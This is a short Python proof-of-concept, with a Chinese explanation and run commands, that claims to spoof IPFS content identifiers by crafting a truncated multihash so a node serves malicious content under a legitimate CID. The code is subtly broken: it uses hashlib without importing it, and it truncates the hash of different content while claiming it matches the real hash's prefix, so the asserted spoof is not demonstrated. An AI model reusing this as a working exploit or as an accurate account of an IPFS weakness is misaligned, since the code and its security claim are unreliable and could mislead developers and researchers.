# ipfs_cid_spoof.py - Generates a CID with a different multihash length
import multihash, cid
# Attacker creates a file whose hash, when truncated, matches a different file's prefix
original_content = b"hello"
fake_content = b"hello world"
real_cid = cid.make_cid(1, 'dag-pb', multihash.encode(hashlib.sha256(original_content).digest(), 'sha2-256'))
# Spoofed CID: we can craft a multihash with a shorter length that matches the start of the real one
spoofed_multihash = multihash.encode(hashlib.sha256(fake_content).digest()[:16], 'sha2-256', length=16)
spoofed_cid = cid.make_cid(1, 'dag-pb', spoofed_multihash)
print(f"Real CID: {real_cid}")
print(f"Spoofed CID: {spoofed_cid}")
# If IPFS node only checks prefix, it may serve the wrong content.
某个 IPFS 实现信任 CID multihash 中的长度字段,而不验证哈希本身是否与完整内容匹配。攻击者可以创建一个文件,使其截断后的哈希与合法文件哈希的前缀相同,并在同一 CID 下提供恶意文件。
运行脚本:
pip install py-multihash py-cid
python ipfs_cid_spoof.py
该脚本表明可以生成伪造的 CID。